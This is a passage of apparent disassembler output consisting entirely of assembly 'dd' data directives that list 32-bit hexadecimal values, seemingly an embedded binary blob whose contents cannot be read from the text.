0A99986D2h, 0EC8B87D2h dd 0A3998C86h, 0E4AC83B1h, 0EBF9AF7Ah, 0AEAEA19Bh, 0A9A7D3B5h dd 0A6CFB2A4h, 0AAF9DFB9h, 0C6BEBFAFh, 0EFE2C0AFh, 0C7A4B9B5h dd 0FFCEB1FEh, 0F3C4CEF0h, 0CCFFD1CFh, 0D7CCFED0h, 0FDFFD9C5h dd 0DBD3E1CCh, 0E2D1FFE3h, 0FED5D3FFh, 0DCE7DCD3h, 0EADFDFEFh dd 0EEE1DAF5h, 0DCF4E5DCh, 0EBDDECD9h, 0E9ECDFE6h, 0DAF8E5DFh dd 0DFDFEDEDh, 0E1CEDDFAh, 0E7CAECE2h, 0E6E2E4FFh, 0FDD4E5E1h dd 0E2E8E6DBh, 0E7E4DFDFh, 0D9E0E4E2h, 0E6DCE7E6h, 0DBE6DFE1h dd 0E3EEE5DCh, 0DEF4EEE3h, 0FAE6D6F0h, 0D4DFE9D7h, 0E6DAE8E9h dd 0E8E4E6F5h, 0E2D1ECD9h, 0E2FFF6E6h, 0D7E7F3E1h, 0FFEEEBE6h dd 0EDE4EBE4h, 0E4E7FFF6h, 0FBF6ECEBh, 0E9FDE4EAh, 0F3E9FFEBh dd 0FFEDEBFFh, 0EDFDE1EDh, 0F6EDFFE8h, 0EBF6F3EEh, 0F0FDFCF4h dd 0E4F4FBF0h, 0FDEDF4FDh, 0F7F2F9F3h, 0F4F8F5FAh, 0F6F7F9FFh dd 0FAFDFEFCh, 0FAFFF5FFh, 0F9F4FDFEh, 0FFFEFFFFh, 2CFCh dd 21D0000h, 8000178h, 100300FEh, 0C1E08028h, 6030303h dd 90901008h, 5018100h, 38982208h, 8A446231h, 7C3A2208h dd 0C7A2D098h, 4C0C068Fh, 62918914h, 46040181h, 9160347Ah dd 2902C965h, 0D0783411h, 9080E320h, 0C0163F21h, 45A752C9h dd 564B3B94h, 0A3F1085Ch, 392C0142h, 50C07C4Eh, 0E034D64h dd 8894F677h, 9EC623A0h, 345A6B26h, 0C3A2D3E9h, 9E630A84h dd 2290C884h, 8B398EC4h, 71585C66h, 11824BC0h, 20246423h dd 44865B2h, 145E5524h, 48AF172Ah, 42E90C84h, 0A7F0DB05h dd 0E14493DBh, 9038D46Ah, 4487C365h, 8CCBA81h, 0A963F093h dd 863A2195h, 0D8243268h, 272D5F8Dh, 401AACh, 17350702h dd 98EBDC32h, 6B0481A8h, 792CDF4Bh, 82D53297h, 0C5DA2B42h dd 56EF342Bh, 72573CDDh, 0B3378A0Dh, 0ED8C9C5Ah, 7218258Eh dd 29884460h, 7AF74A07h, 9849E1F6h, 90C8071Ah, 19C6E4D1h dd 0FEE65E35h, 66AF1788h, 5E2F170Eh, 8F596072h, 0F79A0725h dd 0E7C877EFh, 0FD8B45C2h, 63F3ECFBh, 0BE5F0F81h, 0B03BF617h dd 0E97DC5E7h, 7F05A135h, 4D135EFh, 8834397Ah, 0EC58169Eh dd 5884C370h, 85DE80E0h, 20D7DA0Ah, 0D1A1F21Ah, 0AC6A1AA0h dd 5688C567h, 7A1E2168h, 0A037E5EFh, 97B1FF7Dh, 0CE098AC3h dd 678705E1h, 8BE118B0h, 85A8E5F7h, 21A03B17h, 0B5F2871Eh dd 2F7ADE87h, 7AE437FAh, 0E177C208h, 0F02DF783h, 78681E47h dd 820E47F0h, 17A1E81Ch, 45A1E423h, 0A8BDF20Eh, 0D8390DDEh dd 0E1986127h, 179E378Dh, 0A2894038h, 87985C8Fh, 0A46A9A46h dd 269545C9h, 9DC3878Ah, 0E048EE17h, 308A108Ah, 0C05A1603h dd 0D7A63B1h, 8B62B8BEh, 0A3BA05E1h, 0D7C83784h, 569DC3h dd 237B210Ah, 8F6960F6h, 0E68A19EFh, 67E6219Dh, 2388728h dd 71A10589h, 882200E2h, 6117A9FAh, 21CDF686h, 4CFE9766h dd 0A9EB2A9Eh, 86A16284h, 9AE5F415h, 0CC5C7DEBh, 0C0AEA20Ah dd 0A985AAEAh, 6BFAB620h, 0AB0671AEh, 0EEB2AEACh, 5EA1617Ah dd 78DF7818h, 0AAE81A8Dh, 2208700Ch, 2C651C08h, 1136822h dd 0A06AE0E6h, 8820C870h, 0D9D1F70Ch, 30911604h, 291D1DC4h dd 10861148h, 452BD441h, 0F0B02C0Ah, 0F4420882h, 0BFEFEBh dd 0C0F0214Bh, 306C02F5h, 2C1EF3C0h, 0E842BF04h, 0AC3F0A0h dd 0C1B10C33h, 441C56F5h, 3BF70918h, 2EF10A70h, 220C307Ch dd 8B21BF0h, 852106F3h, 9C3F0EC4h, 6706C872h, 13CB842Ch dd 9F2EC3Fh, 85408AFDh, 70871D0Eh, 0FB2CC3F2h, 0BD041Bh dd 0CD41708Bh, 452C570Ch, 6D1B3A08h, 329C1F2h, 41BF738Ch dd 0C5B52128h, 43A0A713h, 512B07D3h, 0BC52C62Fh, 52C5B02Ch dd 0D4F52C2Bh, 0B18BF715h, 0C5F3DBFh, 56F4D033h, 5DC9B48Ch dd 0DAF0ED5Fh, 0F5A09EFFh, 31844AC0h, 4ADEFE35h, 0D777EC0Ch dd 0B7FBFF6Dh, 3BD852D1h, 2380C6B0h, 16BDB5FEh, 0DFB70E37h dd 0B6EC9821h, 8E233112h, 5EFEDA35h, 3FD0C540h, 152FFCFFh dd 0C74C1C30h, 26987019h, 0F83A2008h, 2F0842C0h, 0C738FC1Ch dd 0B8EE16F1h, 1C6366E7h, 0CBB8DFC6h, 1CBDF86Eh, 0EC770DFBh dd 78FE0FB9h, 0BE37BEF0h, 1442ED38h, 4ECBBBFh, 0EE7C2BD3h dd 0BCB0BC2Fh, 30B38EDBh, 1385BE70h, 0B9F031BFh, 0C9BC2E13h dd 0FC90873Ah, 3EB452D7h, 0F791C13Ch, 91D1F91Eh, 0A749D23h dd 829C9BD2h, 0DE1792E1h, 0AB47D237h, 1808740Dh, 0E3379087h dd 0FC98237Dh, 0B1AF5782h, 2C082E45h, 0ED95E00h, 35F1B027h dd 238E6B4Eh, 0B7980BE0h, 0EFC5F2B8h, 5EFAFE5Eh, 30904EE3h dd 7E6F9E01h, 0E21FA3C3h, 0AFB0A052h, 2D6C6D21h, 2103D8CBh dd 0F9A42F58h, 0B3886CEBh, 460F0358h, 0F079E541h, 99FC0767h dd 0B92792EDh, 84EC420h, 5B1B3AFEh, 3027D610h, 674F659Dh dd 683D82Ch, 2C1290B4h, 1F058088h, 14DF4178h, 0B9D93B36h dd 0BB0A7DCFh, 485715E2h, 510DD9B9h, 0DE743909h, 0B52774F1h dd 8CCF221Ch, 1622D38Dh, 0B23B375Dh, 2D8B710Dh, 2D179B7Ch dd 11DD4076h, 634782ACh, 364AE361h, 2ED98B47h, 0C2936E61h dd 410764D8h, 7DD1F221h, 0E45F045Fh, 133DC6FAh, 2D60AEEAh dd 58E50214h, 0C209BD97h, 7BF4708Dh, 0C084C5DCh, 0BCD97B1h dd 0A0F4438Dh, 0B7E6F4C0h, 6D4D9DFFh, 1C17FBC8h, 846C60Bh dd 5878E16h, 32E55F5Ch, 56563DB8h, 7CB3850Ch, 9770F698h dd 0DFA3C49h, 0E2F3006Ah, 2F27C6E1h, 84EDB5C1h, 2F9DBB63h dd 30B91771h, 36888EECh, 0A3119C2Ch, 83A0376h, 903D2442h dd 207C0F82h, 0D0F621AFh, 5DA33E79h, 47D7BB15h, 9C9095C7h dd 0F6982B6Dh dd 1948F704h, 0EE86F0CEh, 60C0A76Ch, 0CDE5BB07h, 0FE5E9810h dd 68DC1E3Bh, 0ED82CAA9h, 2AF37010h, 0E976C1A6h, 0F159F9B7h dd 1F93B177h, 4FB98909h, 9950924Eh, 0CF9A33F5h, 4B4139D8h dd 0F4926CFEh, 9709A1CAh, 0DE204B06h, 0BBC950Eh, 979D0FDEh dd 0F34E1950h, 67748071h, 0CE977104h, 9C2E05B2h, 0FAE2F3CFh dd 0B7B09958h, 9A79523Dh, 4F2672Ch, 527D3E77h, 0A4C798CDh dd 0DA54F6A3h, 6EF5E8B8h, 5B2CE17Bh, 0D036351Ch, 6DEBF61Bh dd 1EDA8BFBh, 8987F066h, 0AB7580ECh, 8B08030Bh, 0E272D338h dd 0D3DD9E34h, 0B85F1FA0h, 0BDA0743h, 1E0C2F86h, 0CEE9695Ah dd 7E35B9E8h, 3C6A5331h, 0FE2FE787h, 5B6311FDh, 9540674Bh dd 81D939D6h, 23507253h, 3879399Eh, 0AC19A3B8h, 14BBE63h dd 0D8A87CFEh, 8EAFD57Fh, 105FBBBEh, 8D4AA729h, 0A96A1379h dd 34F65C54h, 52513E48h, 341AA8F0h, 0F77D4123h, 1319C5CBh dd 98045E9Eh, 0CC3988F8h, 91F67A9Eh, 63FE0C72h, 0C329CB5Dh dd 8BD3E197h, 0B2DCB63h, 0DCCC88DDh, 9E61F2B2h, 57279C33h dd 368FD65Bh, 0BD7D76D0h, 0B0351264h, 40E48C83h, 5795AB6Fh dd 0D5F73CD2h, 9736FEA4h, 60A7B598h, 963DE829h, 0AEAF144Eh dd 0CEF8DC4Dh, 578D059h, 0ED8E71B7h, 796F4E1h, 4EEE01C2h dd 0E3138FA2h, 5B4A20E1h, 68F24D7Fh, 10267347h, 0CB5E3B01h dd 7BA02CEAh, 19771A55h, 0D9C55997h, 0FBD988CBh, 0B8312C29h dd 56D9BA47h, 0DCACC4B8h, 473BAD2Fh, 81D3DEC7h, 15222AF7h dd 86420A7Bh, 66BAF0DAh, 4D72863h, 72EC51CBh, 8CAFBA92h dd 0D5FD8161h, 8D5A0CB1h, 0E76DE78Dh, 32692F2Dh, 9E5775EBh dd 0F8A48CD2h, 3A07B042h, 732AA0F4h, 36108198h, 1ADA3E00h dd 4E48C8F9h, 0CC9792B2h, 0F93B26E4h, 0B28E50C9h, 0E54CA794h dd 0CAF95B2Ah, 96B2CE58h, 4203ACB5h, 80D01D0h, 7413C269h dd 6EE98270h, 4E68CCF9h, 0D79AFEB3h, 0BB36E6CCh, 8E70CDF9h dd 27679CB3h, 0C19C2684h, 0C269110Bh, 0D3E838D5h, 0CFF9FB39h dd 0A0B40E80h, 42E84D07h, 84B53A1Bh, 8060198h, 0AC1D0372h dd 3DEDB6C0h, 4D27A4B4h, 0FA5B4AE9h, 0B36E98D2h, 3306E10h dd 0D1DA3034h, 0A641D4C5h, 52EA4D47h, 0A8D4FA9Bh, 6E12B416h dd 234F04F0h, 4B570D00h, 9D22BCC1h, 0FADB5AEAh, 75CEB8D6h dd 7B085AEh, 23206430h, 0B17E073h, 5D6B467Eh, 0C8D8FB1Bh dd 0D9B2B64Eh, 1D0821Ch, 385A2102h, 407C1843h, 0FB5B65E0h dd 0B6CED8DAh, 308BDB6h, 78FC1Dh, 1D83F03Fh, 1CE2F02Eh dd 0EB8658CFh, 671C7035h, 2F1A4A07h, 4E209BCDh, 8627046Dh dd 786F135Eh, 0AA6CC38Eh, 0EFC8ED95h, 0CA78CAD1h, 4BEEAC77h dd 0F15D9DEDh, 2BBD34AEh, 6D067256h, 0B6974049h, 8498C154h dd 4C61C3B7h, 9C437A67h, 0D885B9C9h, 0C7267D60h, 0E1E15210h dd 0C2389F0Fh, 714C27FEh, 0BF4BFF10h, 91AD326h, 3782B0A5h dd 6A24E158h, 0FC0840E8h, 66CA35A0h, 367DC0D0h, 4B59C139h dd 5C879DF2h, 24CEFFBBh, 73DA7158h, 0E2730784h, 8C6ECE49h dd 2770EAC5h, 3FDECF07h, 9516E025h, 5296EF5Eh, 0F537A56Ch dd 37C6DFF7h, 784B0BC1h, 3B0D9B8Ch, 5629355Bh, 0E831F6D4h dd 5371C5E1h, 0F175A78Bh, 66EDB3B2h, 71DC240Fh, 498158A7h dd 0CBA10A4Dh, 62501717h, 41D82105h, 5E432008h, 0C2199786h dd 77CF4F88h, 5263DEF7h, 5A75EDFBh, 6DE1F77Ah, 0C92F2617h dd 57B8F92Bh, 6F41ABDEh, 0FBC993F8h, 0FC7A3C8h, 65E760EBh dd 609F2B04h, 0F1D94AF5h, 5BACB75Bh, 0CE5DAA57h, 5FEE7693h dd 379F7B8Dh, 0FF0AF9ACh, 0BD98A1BCh, 29F5EC37h, 20BDC7FAh dd 0A04B7D61h, 0F7BEFE08h, 6015801h, 3083F84Fh, 770E81D6h dd 0CEF9FF38h, 0A5F48757h, 5BEA8E8Fh, 68E8FAFFh, 0FEB7F686h dd 37EEFDCFh, 0FE01723h, 18E2E7Fh, 5F73EF7Eh, 7F4FE6FCh dd 7D3FAA33h, 0FDFF4FEBh, 0F40757F0h, 0F9FD3FA1h, 0EF1DDFDBh dd 0F1FEBFBFh, 0FBFEFF1Fh, 27D8FA9Fh, 0EF7FA7Dh, 4805804h dd 8087FF8h, 80B0F57Fh, 0FA80B80Ch, 18100F07h, 0EB81081h dd 0EC0F00EBh, 0E0EF7CC0h, 80480B0Eh, 0FB81C7CEh, 8097F67h dd 8217CF7Fh, 0F3808824h, 90E60F30h, 8120EC82h, 0F00F60F6h dd 0C0F30F60h, 8090E87Ch, 0FB80E81Dh, 57F48257h, 7F583A82h dd 0FC81F836h, 68060EA7h, 0EF83D80h, 108120F3h, 28480EC8h dd 0F38277Dh, 0F483E81Eh, 0F7D57D87h, 8348067Ch, 0EA819852h dd 30D20E60h, 0D38040Eh, 76017080h, 911005A0h, 7507403h dd 0F60C0062h, 0D0ED0EB0h, 80484C0Eh, 140ED80Bh, 98290EB8h dd 8730C582h, 0BA0C5874h, 98787E20h, 0BA0B987h, 7C87D87Ch dd 77E287A8h, 0BB0B687h, 0B98800C1h, 88FE0C10h, 0F7D77E28h dd 87187086h, 2988F88Eh, 88C88B8h, 88C7D585h, 0EE0E688Dh dd 0D8078407h, 7D78947Eh, 0A089F890h, 0D89388F8h, 8A58A489h dd 6F896850h, 68A189D8h, 0CB0DB0Eh, 8C0E60DBh, 68A68908h dd 89D8148Ah, 97829896h, 0F8BA8AB8h, 88E0D289h, 0B8847815h dd 0E88C8908h, 8698A886h, 0D80EA805h, 88B086F7h, 8958A38Ah dd 0D08BB8CAh, 886F8B88h, 8A18A58Ch, 0AF88D8CCh, 18488A18h dd 8B58A489h, 0CB8CF8CEh, 68D08CC8h, 0E88687Dh, 0D20C50EDh dd 0D8298BD0h, 7607403h, 7F00669Eh, 203707B0h, 118B006h dd 0F6014011h, 0D8FA8F98h, 8F900D00h, 0FC8FD8FCh, 39021068h dd 90590490h, 0FA106906h, 39079078h, 90D01C02h, 290D90Eh dd 118FA9h, 91591402h, 18023914h, 0A9199179h, 91D91891h dd 2391F91Eh, 89220180h, 91691601h, 2827791Fh, 0B92A9299h dd 92292C92h, 1E01E277h, 2092FEC0h, 592C9279h, 93393593h dd 20925023h, 0D0289300h, 93D93E93h, 3E01E1E8h, 89219259h dd 94793601h, 4A923928h, 291E0189h, 93A91B92h, 52951950h dd 901E0289h, 93F03803h, 5A1DB93Dh, 403295B9h, 23923A91h dd 1E952926h, 294F93A9h, 96796695h, 39967968h, 0A9380209h dd 95893C93h, 6B915970h, 0E9149699h, 92394B01h, 2096491Dh dd 9309169h, 95505A02h, 0E8070039h, 30790E30h, 45557Ch dd 7F0741DDh, 70ED0BA0h, 140148Fh, 0D9918FFh, 0E00E9250h dd 0B02800h, 9A999998h, 90189779h, 1999E01h, 0A29A1016h dd 0F9A09A19h, 0C99F99h, 0AA0129A6h, 0C01299E9h, 160129Ah dd 0A79AB9AAh, 94A00C9h, 9B701093h, 0A39B99A3h, 0D9BC01A9h dd 9BF9BE9Bh, 0C232301Ah, 19C00229h, 3239BC9Ah, 0C9017030h dd 0D9CC0179h, 9CF9CE9Ch, 309CC9D0h, 59D49D30h, 3233209Dh dd 0DA02701Ah, 0DC9DB9FEh, 0F9DE9DD9h, 9C39DC9Dh, 239C39DBh dd 170E71D3h, 9C401702h, 0DD9C29BEh, 0D71F03A6h, 279CE2Fh dd 0F201D9F1h, 19DA0179h, 9EA9DE9Fh, 0FC9BA9BCh, 79B99FD9h dd 160109Bh, 1D01B01Ah, 0BA06A050h, 1B01B9Dh, 0AA013013h dd 0C99E0169h, 0A0194B99h, 0BE9C09BAh, 4A120169h, 99F9A69Ah dd 19A18922h, 0F9FEA1DAh, 9BA9B8A1h, 0D89C0012h, 99BDA149h dd 732A06A0h, 99DAA07h, 69FD9BDAh, 9DB022A2h, 159C29CCh dd 79B19B0Ah, 9C19BBA3h, 32A15027h, 90C20E80h, 7C904F07h dd 8005E121h, 604D07B0h, 110F60Eh, 0B00E8FFh, 9A4E00C0h dd 99893099h, 22976018h, 79FCA179h, 9BD9AAA3h, 5BA07A29h dd 0FA09027Ah, 0A61A5BA5h, 5FA2CA61h, 0DA30A26Ah, 0A699D19Dh dd 0B04F46E4h, 0C45A46A3h, 0A7102BA6h, 724DBA72h, 5A76A75Ah dd 0A7631CA7h, 1CA78029h dd 0FA6C0213h, 0A81A80A7h, 0FEA6CA82h, 85A852F9h, 9A8801FAh dd 0A88A8AA8h, 0CA02C025h, 43720179h, 0A78A774Fh, 0B0A71A94h dd 1A804093h, 3482F902h, 0E49D79D2h, 1AA00339h, 0AA3AA2AAh dd 9AA31AA1h, 5024025Ah, 2F9AAA02h, 290153D1h, 6A14A2DAh dd 3219BF9Ch, 15A069DAh, 19CFA9C0h, 0A59A2632h, 7EABDA66h dd 3AA49C22h, 9F79E203h, 429D49CEh, 13489CC0h, 2FA45AA8h dd 0CEAAA026h, 5ACDACFAh, 6CD02F02h, 0B13953A1h, 0C03AA836h dd 0AC37809Ch, 43323027h, 603E68E3h, 3031C35h, 0EB0E8020h dd 504F03D0h, 567807h, 7403305Eh, 30E805A0h, 0A4C0110Fh dd 12A23A4Dh, 3A4D0130h, 99EA4D92h, 5FA379A2h, 9B00AFFAh dd 56E665A0h, 6EA85A86h, 0E56EA6EAh, 0AAE01DAAh, 523EEAB7h dd 0D9DD9F43h, 0A629DCA5h, 8DB0501Dh, 9B184DBAh, 0A89A8BB1h dd 86A884DBh, 802501FAh, 2D046A8h, 24055B24h, 0AB2602DBh dd 0B2BB2A02h, 0B1FEBB2Ch, 30B27A89h, 0C04CB24Bh, 0B2E02D04h dd 24A8AB36h, 0BB3AB390h, 0B31B3AB3h, 88B37B27h, 0DB2A040Ah dd 2A06D06h, 4504006Dh, 0BB39040Bh, 3EA85AAh, 55B27A88h dd 0BB51B510h, 0B55B3CB2h, 18B40B3Bh, 0BB073ABBh, 0AD3B07B5h dd 5D02C348h, 6053B3C0h, 0ACEAD102h, 4A01D02Fh, 19DCADD0h dd 9DB01BB0h, 8502F46Ah, 0A2F931CAh, 0B759E058h, 0DBB75021h dd 4027B109h, 0AC99DDB1h, 29A7DB5Bh, 8A8AB1C0h, 0A85A8DB1h dd 56026025h, 8ACDB55Bh, 0A7EA99A9h, 19B4D2F8h, 0C4DBB91Bh dd 4AB5CAAh, 2A450732h, 901F024Bh, 5C0272Fh, 5C0EE0E4h dd 5860AA00h, 0AEE06800h, 0F30EFAF0h, 0B00C998Ah, 0A4E0139Ah dd 129AE9ADh, 79BC2960h, 577BB406h, 7E07E577h, 6BB80610h dd 0BBD06F07h, 0C008506Fh, 0F08E085Bh, 7C08F08h, 7CBC7076h dd 0BCABC90h, 30E3723Bh, 5607EBB8h, 3BCF03A3h, 2FE07EBDh dd 36EBFEB8h, 6FA05348h, 0EAAB56F5h, 0B4E01FACh, 8ABDEB2Eh dd 0CA89046Ah, 0B25A8AB4h, 0EAB4402Dh, 0E02AB45Bh, 0B2CB24B3h dd 52B25BF0h, 3B30B26Bh, 0A8BBE406h, 63BF9046h, 0B3E0630h dd 0BF1BFEBFh, 39B24BEEh, 5BECB30Bh, 5B063B4h, 9A05BB2Ch dd 905DA8DBh, 0BFC046A8h, 0EABEBBE9h, 0DBFFBFFBh, 0B30BED02h dd 1AB05B37h, 0CC1CC1BCh, 1FB60B8h, 5DA88B39h, 0BB09B660h dd 9DCB7BA2h, 0B5A05061h, 6457732Ah, 0A86B7254h, 6A460AD3h dd 0B015A614h, 0B143D1BDh, 62B96A05h, 5A05B0AAh, 0B5BB5EC3h dd 9AA88B70h, 902DB9ABh, 0A86B1EBFh, 89B61025h, 3C23C21Bh dd 0A97A83B7h, 0F9B22B4Dh, 5A8CBF7Bh, 3D1C1AB8h, 1F3D12FAh dd 406DC160h, 423AAB2h, 0A0BA0B9Eh, 816E05EAh, 73AEE05h dd 3BBA80E8h, 92962772h, 0BB205601h, 306701Ah, 3A29B7BAh dd 0C36A0636h, 0EA02CC36h, 1040040Bh, 0C5DC7E03h, 1F063FEh dd 1A05F05Fh, 0DBCD4F4Ch, 0C83A81BCh, 8CC8BC8Ah, 0FBBEC83Ch dd 0BBFC90C8h, 94093085h, 7C96C95Ch, 0C99090C9h, 94C97090h dd 0DC9E083Ch, 8DCA008h, 88097097h, 8CA4CA30h, 0CA9CA108h dd 0A0CABCAAh, 0A08DC9ACh, 0C9CC99C9h, 0ACCAEC9Ch, 0FCB6CB5Ch dd 0CB9CB0CAh, 8CBC2090h, 0E08E08C0h, 0C94C9308h, 97CBFCBFh dd 6CB7083Ch, 0CC9088CBh, 0B8CA8CA8h, 0ACCDCBACh, 0CD0CD0CBh dd 0D4CBDCC3h, 3CBECC2Ch, 0BC4BC4BCh, 0DCCDB094h, 0D086CDCCh dd 0CE0CE0CDh, 0BBBD4076h, 0ACDBBC7Bh, 0CE9CE808h, 0E1CE1CE8h dd 0FCEECD9Ch, 0CE1CEA08h, 0C7BC6076h, 0CBC8CF5Bh, 0BC908A07h dd 0E4CFB07Dh, 309407ECh, 8ABC9CFh, 9BCAC093h, 4CDA093Ch dd 0CC3CEE09h, 8FD0AD0Ah, 0CD0ECEC0h, 0CC1BC4CDh, 12093CB2h dd 6083C96Dh, 8FCBFC9h, 9009308Eh, 0FC99CC90h, 6A07ECBh dd 0C70E80E4h, 8C640547h, 0FE3C6600h, 0BA8C6803h, 0E99500Fh dd 390DA4E0h, 0C74A5F01h, 85B703ACh, 7B04C83Ah, 3EC83D3h dd 6305DC8Ah, 1D4006B0h, 5905105h, 3106BD44h, 0D03EC800h dd 0A9305D05h, 0C703AA72h, 1C8A372Bh, 0BF9B1BB9h, 4BACFACFh dd 2C08B3CCh, 0C08BEAC1h, 7CC7CB2Ah, 0C02E02ECh, 0D5EBEBC7h dd 6BD40D60h, 0D66D420h, 0D60047D4h, 6ED6DD6Ch, 0ED5FD60Dh dd 0C12D72D5h, 63D5AB46h, 902ED72Dh, 0D6FD66D6h, 6C06BD7Ch dd 1D80D7F0h, 0BE4044D8h, 274DBB33h, 0CB34B33Bh, 0D78B47B2h dd 8E04702Eh, 0FD6FD6BDh, 0D7AD6BD8h, 40D7906Bh, 0D040D6CDh dd 0D94D94D7h, 2ED9DD7Ch, 204602A0h, 31C02BAEh, 0FD357C87h dd 0DC232F82h, 0D3CB92C0h, 36C78AACh, 0FB21C48Dh, 0BF6C5301h dd 0FC53BF6h, 0A063BFBCh, 0DBB05B02h, 0E4BFB05Bh, 0DC0D4ABh dd 0C83C8DDCh, 5905DDC1h, 0C2FAC79Ch, 6D05DAAh, 44D69D65h dd 0CBF602ABh, 0ECFE84D3h, 4DB02B03h, 8FB33BBDh, 0D05FA73Ch dd 0C8BDC305h, 0BBBF9DC5h, 6DBCC09Dh, 0D5ED98B4h, 43BECB2Bh dd 0F02E031Bh, 5F02DC7h, 3D0E8D22h, 40583570h, 0D2BD2910h dd 0CD2E106h, 0C00F01C0h, 0B6DD3201h, 48558B7Bh, 0F2F9C47Ch dd 0C54B8205h, 42034B23h, 3E0A045Dh, 0D46036D4h, 30C46BEDh dd 0CE12D88Bh, 72D07C04h, 10DB603Eh, 7C53DB7Ch, 0DB6BE4B2h dd 0FFD5CDE0h, 106DD62Bh, 0D9DE24D8h, 36034034h, 2E2AE290h dd 0E2DE2CD4h, 27051E2Eh, 3E32E31Eh, 0D8EE31E3h, 9ED9ED69h dd 0FD67D9BDh, 0E3CE3CE2h, 87069077h, 0E420690h, 4EE43E4h dd 72B33044h, 4B33E130h, 0D6EC7E04h, 8D8E06Bh, 4E08E2DEh dd 0E3204703h, 77E51D8Fh, 0AE5AE590h, 51059E5h, 3DD92E50h dd 0DE62E61Eh, 2D06BE2h, 7568E02Bh, 0B338DA5Ah, 0BEFBFA02h dd 83DBEB3Eh, 2DDD02CCh, 0E1705FDDh, 16DB9B24h, 6B24B2CCh dd 2DCFFED7h, 0DB8DBDDEh, 80E81E80h, 0ADDD4DBEh, 0D3EBF9C8h dd 44D42E3Bh, 0E03C059Dh, 63E77C7h, 92E4A4DBh, 2BBD04CEh dd 0C07E96E8h, 7CB43DE3h, 606C031Eh, 0D9705903h, 0A1DEAD60h dd 9D79C7BEh, 3106CE2h, 0DA06706Fh, 303ADF17h, 0BA5006DFh dd 2DBA7037h, 0DA4E999Dh, 54FB02D2h, 753B058Ch, 0D03EDABEh dd 0B33EBDBBh, 45044C10h, 4EC406E0h, 59E43ECh, 94055EA7h dd 2D7503EEh, 44083C1h, 83085C9Eh, 3B33B510h, 0E13ED4BFh dd 79C01B52h, 9D72B2CEh, 0E2AD96D9h, 55D45E9Eh, 9E63E51Eh dd 0EE7043E0h, 45E0A043h, 2EE5E520h, 0D92E33E5h, 9ED90EF0h dd 9E27E50Dh, 0EF7EEA04h, 0E9E0AEF8h, 0A06EEF7Eh, 8707A07h dd 87EFEF00h, 906E0810h, 0B2403105h, 28BF3031h, 2D6EE4DBh dd 49E2CE3h, 53049F10h, 9F0EE2CEh, 0EC5EEAE0h, 62EEB06Eh dd 0DEED043Eh, 51EEAE3h, 6D06BE0Bh, 6B91AE10h, 0FE68A7FEh dd 0B28B3406h, 27B51BF4h, 4BDFDB5Bh, 0B91B2EE0h, 55BEEC0Fh dd 0EE4C0440h, 0F38F38C7h, 45ED6044h, 0EC52E1CBh, 46F40E1h dd 53DB2B1Ah, 0A01FB22Ch, 4503602h, 59E0AEFBh, 0AEA70360h dd 0C10DB5B2h, 28B2AB30h, 4C01EDABh, 0F39B46C1h, 0A6E9CF5Ah dd 0FF5BDEAEh, 0D60B44C7h, 2D02EE2Ah, 80E3EAA0h, 69E35705h dd 80037BA4h, 0D0EDAF00h, 92300B00h, 4D00C016h, 949FB02Ah dd 0B18E03EBh, 19C53DB5h, 1C10B34Bh, 43F4A03h, 19050050h dd 0BF4D069Fh, 46E77DEh, 13E7CE9Ah, 0DB3EF56Ch, 0B2BEDAE7h dd 6BD6CEDEh, 0AE8B03C0h, 0EF4E42E5h, 18F17EE4h, 0F064F18Fh dd 0F9DF84F9h, 0F8FA3EF9h, 7EE0E2FEh, 0FA9FA8FAh, 43D42E29h dd 4064EC40h, 0FB006EF0h, 6406EF9Dh, 7EFEF180h, 0EFEFB8FBh dd 5AF22045h, 0D06D044Fh, 0EE106BE4h, 0A4E2CD44h, 1EF7FC5Fh dd 0FC9F9F08h, 1AF19F9Fh dd 0FE20F1FFh, 0EFA5FC6Fh, 0F4CFA5E2h, 9006D036h, 906FDB8Eh dd 0DABEBBB5h, 90E12D87h, 0CC8FE94Ch, 0F28EBDEBh, 55B3EB33h dd 4F2CF390h, 0F7CE6FBFh, 91B91FE2h, 8BFB06FCh, 0E7BF28F2h dd 0A106E077h, 0C069EC6Fh, 0B26E8D03h, 5BBEBF29h, 0D100F36Fh dd 82154DA6h, 3C1E0D05h, 42C62448h, 0F21D0D36h, 4D83C880h dd 2D0B898Ch, 0B19810C6h, 592C9ACDh, 0D1B164D2h, 71BA0CE2h dd 0F13C9E6Ah, 13408032h, 0A1048040h, 3C0D76Bh, 6C160804h dd 61B06032h, 42308743h, 0E1490494h, 0F87E843h, 198E8C46h dd 11A95463h, 0B690461Fh, 0C6255168h, 0AC502190h, 259229BAh dd 3117144Ah, 5A8D4054h, 85C5E350h, 45808040h, 462D169Bh dd 0BC546D15h, 494A155h, 5C2EB809h, 82EBB100h, 361B0F0Dh dd 0D905FE3Ah, 0ADD6C6D7h, 361F0C45h, 1931358Ch, 0BB185032h dd 0F118AC81h, 845CA64h, 599C1147h, 9DCE1AF3h, 0FDFEF735h dd 0E272187Bh, 2F23A5C8h, 0B55A93D6h, 5C45326Ah, 0B1AB29B4h dd 34BEDE4Dh, 5CB8D36Ch, 0C6623759h, 0AE4B7BBDh, 70F8597Ch dd 0DB6DC2E2h, 0C482A170h, 3F44A514h, 0E5F2E974h, 420F974Bh dd 0EA10E857h, 37930983h, 0AC7DD9h, 7789942Fh, 4BB349EFh dd 0FB7DE2FFh, 704A876h, 748B4412h, 0E8A1790Ch, 6F47DFEDh dd 0EDFD05B4h, 898C5BDAh, 0A8C68B21h, 902B0282h, 0A84AFABAh dd 42005416h, 7AF285A0h, 0D4B7A32Dh, 0D82D30A2h, 62BCA2Ch dd 61B0D617h, 2434AE8Dh, 0DEA8A04Bh, 16B34D9Bh, 1D6740F2h dd 43A0E82Dh, 38BC9510h, 0D4750E69h, 5816089h, 8331C270h dd 0C2103A9Dh, 0C858178Fh, 0DEA40DEEh, 0A80AB220h, 0BE522486h dd 8852A231h, 0F43AADB2h, 882348EAh, 0D90AA220h, 0C2AB241Ch dd 0E822C282h, 30C6F822h, 20B7AA12h, 35AF0B34h, 0B4AD0878h dd 8C2B6CDBh, 2320DDB0h, 46C78DC3h, 38ACFE33h, 0B3BCEEAAh dd 0E86828CEh, 50DC3CBh, 4108EADBh, 0B3F41507h, 0C3886BEh dd 5345454Fh, 56324E4Ch, 0AE0C8D63h, 2C6AF4B0h, 0C23AFA17h dd 0AB893606h, 0DCD23773h, 0C6542408h, 510C5102h, 428B0EE1h dd 2B1154CFh, 86C353CCh, 0F9854AE0h, 3ECFABE8h, 8ECA901Fh dd 0F3C6B489h, 0F15EBD01h, 0FD284FBBh, 8C6A12D2h, 485AED31h dd 0E42909A0h, 9C1F3D35h, 25294A5Bh, 